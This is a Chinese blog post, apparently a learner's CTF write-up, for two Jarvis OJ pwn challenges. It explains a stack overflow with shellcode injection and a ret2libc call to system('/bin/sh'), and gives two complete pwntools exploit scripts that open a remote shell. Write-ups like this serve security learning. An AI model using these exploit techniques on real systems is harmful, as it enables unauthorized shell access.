oj level1-2

今天学习了pwn三道简单题,发现一个规律,pwn题都绕不开写脚本,脚本主要内容根据情况而定,记录如下
文件直接用编辑器打开是看不到内容的,是一堆16进制代码,只能直接放进ida中查看。
level1:ida打开进入main函数的伪代码,具体操作不再累述:
在这里插入图片描述上图可看出主函数由 vulnerable_function()和write()函数组成,点开vulnerable_function()函数,可以看到其中的printf()函数有变量“&buf”,这是关键,上面有关于buf的注释:表示从栈低只buf的栈空间为0X00至0X88,可看做栈的大小,附栈表示图:
在这里插入图片描述在这里插入图片描述

附栈表示图:
而return函数有一变量为0x100u,很明显,溢出了,但是我这次没有找到system函数和bin/sh字符串了,但是发现了printf,输出了buf的地址,在结合NX保护是关闭的,那么就意味着,如果将shellcode写到buf中,函数返回时跳转到buf位置,就可以执行shellcode了,示意图如下:
在这里插入图片描述
写得脚本 。(目前还不会写脚本,借的代码…)

from pwn import *




context(arch='i386',os='linux')
#p=process("./level1")
p=remote("pwn2.jarvisoj.com",9877)

p.recvuntil("this:")
stack_addr=int(p.recv(10),16)
p.recvline()
print hex(stack_addr)
payload=asm(shellcraft.sh()).ljust(0x88)+"A"*4+p32(stack_addr)
p.sendline(payload)
p.interactive()

将脚本在ubuntu虚拟机中运行:最后 cat flag
level2:
首先用checksec查一下保护。NX开启了。
整体思路与level0差不多,但是还是有一点区别:我们需要模拟call system函数的过程,在这个过程中call有一步是将下一条指令的地址压栈,所以我们需要构造一个假的返回地址,当然这个内容随意。写得脚本如下。:

  from pwn import *
  conn=remote("pwn2.jarvisoj.com","9878")
  e=ELF("./level2")
  sys_addr=e.symbols['system']
  pad=0x88
  sh_addr=e.search("/bin/sh").next()
  payload="A"*pad+"BBBB"+p32(sys_addr)+"dead"+p32(sh_addr    )
  conn.sendline(payload)
  conn.interactive();

运行脚本得到答案

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值